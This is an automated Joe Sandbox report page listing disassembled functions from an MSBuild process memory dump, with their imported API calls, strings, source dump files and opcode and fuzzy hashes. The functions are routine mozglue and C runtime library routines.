Function 6BCDFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6BCFD019,?,?,?,?,?,00000000,?,6BCEDA31,00100000,?), ref: 6BCDFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6BCFD019,?,?,?,?,?,00000000,?,6BCEDA31,00100000,?,?), ref: 6BCDFFF5
free.MOZGLUE(?,?,?,?,?,6BCFD019,?,?,?,?,?,00000000,?,6BCEDA31,00100000,?), ref: 6BCE001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6BCFD019,?,?,?,?,?,00000000,?,6BCEDA31,00100000,?,?), ref: 6BCE002A

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 88622eefbd632314103808f0c90741d53345cd7ad879d5c0e8f2c4a7bda1cfbc
Instruction ID: b9429dd13fcb7783c077d1c9ec40d792e185f81942f1ba324162b59bfcef5787
Opcode Fuzzy Hash: 88622eefbd632314103808f0c90741d53345cd7ad879d5c0e8f2c4a7bda1cfbc
Instruction Fuzzy Hash: 2521C4B2E106155FD7088F789C958AFB7A6FA852247250338E529D7380FB75AE0186E1

Function 6BCC5B50 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5B85
EnterCriticalSection.KERNEL32(6BD2F688,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5B90
LeaveCriticalSection.KERNEL32(6BD2F688,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5BD8
GetTickCount64.KERNEL32 ref: 6BCC5BE4

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64CounterEnterLeavePerformanceQueryTick
String ID:
API String ID: 2796706680-0
Opcode ID: bc5c94b71003793a0f82ca37de4d7768efca3bccf99e3c92176e605e9ffe2fe4
Instruction ID: 09bbdd0c29c2cf14fd5328ae4e946e0101a1d73af9f72537a2a86aea986611f1
Opcode Fuzzy Hash: bc5c94b71003793a0f82ca37de4d7768efca3bccf99e3c92176e605e9ffe2fe4
Instruction Fuzzy Hash: E9217C756047849FDB08CF68C55565AFBE5FF8E610F04882EEA9A8B391DB70E904CB41

Function 6BCF1B80 Relevance: 6.1, APIs: 4, Instructions: 77threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCF1B98
AcquireSRWLockExclusive.KERNEL32(?,?,6BCF1D96,00000000), ref: 6BCF1BA1
ReleaseSRWLockExclusive.KERNEL32(?,?,6BCF1D96,00000000), ref: 6BCF1BB5
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BCF1C25

Part of subcall function 6BCF1C60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6BCF759E,?,?), ref: 6BCF1CB4

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free
String ID:
API String ID: 3699359333-0
Opcode ID: 26f1cbde4786331959a6f05bdaf5e58df6dc40efda479402f38d7d4ce2a3f394
Instruction ID: ac94ccb8664826e008a54d5afc99d437a505cb76ecb2568fa14631f8526f43c1
Opcode Fuzzy Hash: 26f1cbde4786331959a6f05bdaf5e58df6dc40efda479402f38d7d4ce2a3f394
Instruction Fuzzy Hash: 2521C1F0A112248FDB449F6AC4857AFBBBCAF42744F00049DDA565B241F77DAA06C7D1

Function 6BD07B10 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BD07B51
__aulldiv.LIBCMT ref: 6BD07B6C
__aulldiv.LIBCMT ref: 6BD07B8B
__aulldiv.LIBCMT ref: 6BD07BB1

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction ID: f67c67395a035aa7e466602d580f5736d49cb32aace68765a5dc8ed55b729815
Opcode Fuzzy Hash: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction Fuzzy Hash: 5D212EB1B1060AAFD714CF7DCC86E67B7F8EB85714B10853EE55ADB350E674A9008BA0

Function 6BD07A10 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6BCBBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6BD07A3F), ref: 6BCBBF11
Part of subcall function 6BCBBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6BD07A3F), ref: 6BCBBF5D
Part of subcall function 6BCBBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6BD07A3F), ref: 6BCBBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000013,00000000), ref: 6BD07A48
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_K@Z.MSVCP140(?,?), ref: 6BD07A7A

Part of subcall function 6BCB9830: free.MOZGLUE(?,?,?,6BD07ABE), ref: 6BCB985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6BD07AC0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BD07AC8

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: a82b6d3ed7a5d0693ba75e4f72b37cbcc0099e35dec00620b6acfd6a847fc262
Instruction ID: 0415ab5c22407c8b21034f79d86aa3441c0273f026375c71eaf472a1a63c0e9e
Opcode Fuzzy Hash: a82b6d3ed7a5d0693ba75e4f72b37cbcc0099e35dec00620b6acfd6a847fc262
Instruction Fuzzy Hash: F62160356043049FCB14DF28D895A9EFBE5FF89314F44482DE94A8B351DB34E909CB92

Function 6BD07930 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6BCBBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6BD07A3F), ref: 6BCBBF11
Part of subcall function 6BCBBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6BD07A3F), ref: 6BCBBF5D
Part of subcall function 6BCBBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6BD07A3F), ref: 6BCBBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6BD07968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6BD0A264,6BD0A264), ref: 6BD0799A

Part of subcall function 6BCB9830: free.MOZGLUE(?,?,?,6BD07ABE), ref: 6BCB985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6BD079E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BD079E8

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: 57ab38c8a0dec0588768dc69e5de936e1dcca8ee1e99eee586b2288f8d8ea733
Instruction ID: 3767041f7b1e704f70a348ee80f4ba13d873f28339a11e9266a0fd5a41324720
Opcode Fuzzy Hash: 57ab38c8a0dec0588768dc69e5de936e1dcca8ee1e99eee586b2288f8d8ea733
Instruction Fuzzy Hash: 9E216D356043049FCB14DF28D885A9EFBE5FF89314F44882DE94A8B351DB74E909CB92

Function 6BD0AAE0 Relevance: 6.1, APIs: 4, Instructions: 59threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BD0AAF8
EnterCriticalSection.KERNEL32(6BD2F770,?,6BCCBF9F), ref: 6BD0AB08
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6BCCBF9F), ref: 6BD0AB39
LeaveCriticalSection.KERNEL32(6BD2F770,?,?,?,?,?,?,?,?,6BCCBF9F), ref: 6BD0AB6B

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread_stricmp
String ID:
API String ID: 1951318356-0
Opcode ID: 449b321b290f4a89cb77d6a1241e62e6a813012a7f18fec97a1dddb245e807be
Instruction ID: a05161aa75dc02d55c5e212dd8edf4c9ef9035f64dd23e7a0e78bfee2c241841
Opcode Fuzzy Hash: 449b321b290f4a89cb77d6a1241e62e6a813012a7f18fec97a1dddb245e807be
Instruction Fuzzy Hash: F01130B5E002498FDF04DFA8D88599FBBB5FF493147040429EA459B301EB74E909CBB1

Function 6BCE3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6BCAF20E,?), ref: 6BCE3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6BCAF20E,00000000,?), ref: 6BCE3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BCE3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6BCE3E0E

Part of subcall function 6BCDCC00: GetCurrentProcess.KERNEL32(?,?,6BCA31A7), ref: 6BCDCC0D
Part of subcall function 6BCDCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6BCA31A7), ref: 6BCDCC16

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 86ec1c548ac41c576f0f0217c6d10394a5e93fba5ceeca5a20014e33ca6defbd
Instruction ID: 568625c1d9eaf61dbb072f85f8e238bdd232359d4dce291cc8e2f525208e316f
Opcode Fuzzy Hash: 86ec1c548ac41c576f0f0217c6d10394a5e93fba5ceeca5a20014e33ca6defbd
Instruction Fuzzy Hash: 0BF012B15102087BE7059B64DC42DBB776DEB86624F080031FE085B341E679FE1596F7

Function 6BCF2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCF205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6BCF201B,?,?,?,?,?,?,?,6BCF1F8F,?,?), ref: 6BCF2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCF208E
free.MOZGLUE(?,?,?,00000000,?,6BCF201B,?,?,?,?,?,?,?,6BCF1F8F,?,?), ref: 6BCF20A3

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: b4f57acdfa745853ea9b9785b352a11401294e5d90718b829b587e376b800543
Instruction ID: f21bc51d76be19d5a37d928171a38d0c7993ed694e778cc32ef0bc9b149f2f42
Opcode Fuzzy Hash: b4f57acdfa745853ea9b9785b352a11401294e5d90718b829b587e376b800543
Instruction Fuzzy Hash: E3F0E0710007409BD7118F16D494757B7FCFF86324F10001AFA064B310D7B5E902C795

Function 6BCEEB00 Relevance: 6.0, APIs: 4, Instructions: 30threadsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCEEB11
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6BCEEB3C
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEB5B
GetCurrentThreadId.KERNEL32 ref: 6BCEEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6BCEEBAC
GetCurrentThreadId.KERNEL32 ref: 6BCEEBC1
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8,?,?,00000000), ref: 6BCEEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6BCEEBE5
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8,00000000), ref: 6BCEEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BCEEC46
CloseHandle.KERNEL32(?), ref: 6BCEEC55
free.MOZGLUE(00000000), ref: 6BCEEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6BCEEA9B
[I %d/%d] profiler_start, xrefs: 6BCEEBB4

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$CurrentThread$AcquireRelease$?profiler_init@baseprofiler@mozilla@@CloseHandleObjectSingleWait_getpidfreememset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 2885072826-1186885292
Opcode ID: 7053924c3a9fd00b883b8d0691e764732f1bd309b52278b3fcf5df182233d3ef
Instruction ID: 89b670b547e8b0eaa0fe04929bfef124f07c926f26ca272715ea9aca18ab384e
Opcode Fuzzy Hash: 7053924c3a9fd00b883b8d0691e764732f1bd309b52278b3fcf5df182233d3ef
Instruction Fuzzy Hash: 08F0A731601392DBEF005F69D845B95FB64AB82665F000427FB06DF280D7F9A547C775

Function 6BCF20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCF20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6BCDFBD1), ref: 6BCF20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6BCDFBD1), ref: 6BCF20DA
free.MOZGLUE(00000000,?,6BCDFBD1), ref: 6BCF20F1

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 659bfaa832f9e83c007a46b29551a5f5b1607dfdac0e6c8da12f0ce7adc20080
Instruction ID: 3be75af0d2cefb12f8fc4a33239bd1adc80768b0ea02c57eb6f71c39555f77c4
Opcode Fuzzy Hash: 659bfaa832f9e83c007a46b29551a5f5b1607dfdac0e6c8da12f0ce7adc20080
Instruction Fuzzy Hash: 85E0E532500A548BC2209F35980558EFBEDFF86214B10022BFA0A87200F7BAFA4286D6

Function 6BCF85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6BCF85D3

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6BCF8725

Strings

map/set<T> too long, xrefs: 6BCF8720

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 437bf506ef08093affbe94f99f40dc3ba28d01e94d7c8ca9c5e7c48f3611f580
Instruction ID: 7f23a39d2ba215faf4afbb161425c9d7751db69fbb97029f96ad5a429e24656b
Opcode Fuzzy Hash: 437bf506ef08093affbe94f99f40dc3ba28d01e94d7c8ca9c5e7c48f3611f580
Instruction Fuzzy Hash: E4515174A10641CFCB41CF6AC084B5ABBE5BF4A318F18C1C9D8595B352D338E982CF92

Function 6BCABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6BCABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6BCABE8F

Strings

0, xrefs: 6BCABE5B

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: a59283d8ddd2b7951a7837b8bef4aab76c63e83c3236f9537691dd3dd086eac0
Instruction ID: e6b39f4f2c73a450dd398c9bae99de9c8df4d71bbe78dacb2ca7d769d1585dd4
Opcode Fuzzy Hash: a59283d8ddd2b7951a7837b8bef4aab76c63e83c3236f9537691dd3dd086eac0
Instruction Fuzzy Hash: A341AE7191974ACFC701CF79C481A5BBBE4BF8A344F008A1DF985AB211E735EA458B82

Function 6BCA9A20 Relevance: 5.3, APIs: 4, Instructions: 338COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BCA9B2C
memcpy.VCRUNTIME140(6BCA99CF,00000000,?), ref: 6BCA9BB6
memcpy.VCRUNTIME140(?,?,?), ref: 6BCA9BF8
memcpy.VCRUNTIME140(?,?,?), ref: 6BCA9DE4

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: d868935584869e7ac09b2074aae8f4f2e2a8850dc3f949ded22ffbfce01a1025
Instruction ID: 8bf3e55a0023afed15d4262ba1d76a554369fe5d0f66fa157d6f3b63b8982601
Opcode Fuzzy Hash: d868935584869e7ac09b2074aae8f4f2e2a8850dc3f949ded22ffbfce01a1025
Instruction Fuzzy Hash: 2DD16D71A0060A9FCB14CFA9C881AAEBBF2FF88314F144529E945A7351E775EE51CB90

Function 6BCF0A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6BCB37F0: ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AAEXXZ.MOZGLUE(?,?,?,?,6BD0145F,baseprofiler::AddMarkerToBuffer,00000000,?,00000039,00000000), ref: 6BCB380A

Part of subcall function 6BCE8DC0: moz_xmalloc.MOZGLUE(00000038,?,?,00000000,?,6BD006E6,?,?,00000008,?,?,?,?,?,?,?), ref: 6BCE8DCC

Part of subcall function 6BCF0B60: moz_xmalloc.MOZGLUE(00000080,?,?,?,?,6BCF138F,?,?,?), ref: 6BCF0B80

?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,00000001,?,?,6BCF138F,?,?,?), ref: 6BCF0B27
free.MOZGLUE(?,?,?,?,?,6BCF138F,?,?,?), ref: 6BCF0B3F

Strings

baseprofiler::profiler_capture_backtrace, xrefs: 6BCF0AB5

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$?ensure?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CapacityCaptureChunkedOptions@2@@ProfileProfilingSlow@StackStack@baseprofiler@mozilla@@free
String ID: baseprofiler::profiler_capture_backtrace
API String ID: 3592261714-147032715
Opcode ID: f153ebf4db78d1e5f09b98690611e8949cca246d7c936f135655e599e1f66574
Instruction ID: b37a60e4fd28cb61fe1c1b795f31f07255f482331edc543aaf549ce5c17566b1
Opcode Fuzzy Hash: f153ebf4db78d1e5f09b98690611e8949cca246d7c936f135655e599e1f66574
Instruction Fuzzy Hash: 8021E774B102059BEB04DF64C851BBFB37AAF85B08F1004ADD9155B341F778AB42CB61

Function 6BCAF180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6BCAF19B

Part of subcall function 6BCCD850: EnterCriticalSection.KERNEL32(?), ref: 6BCCD904
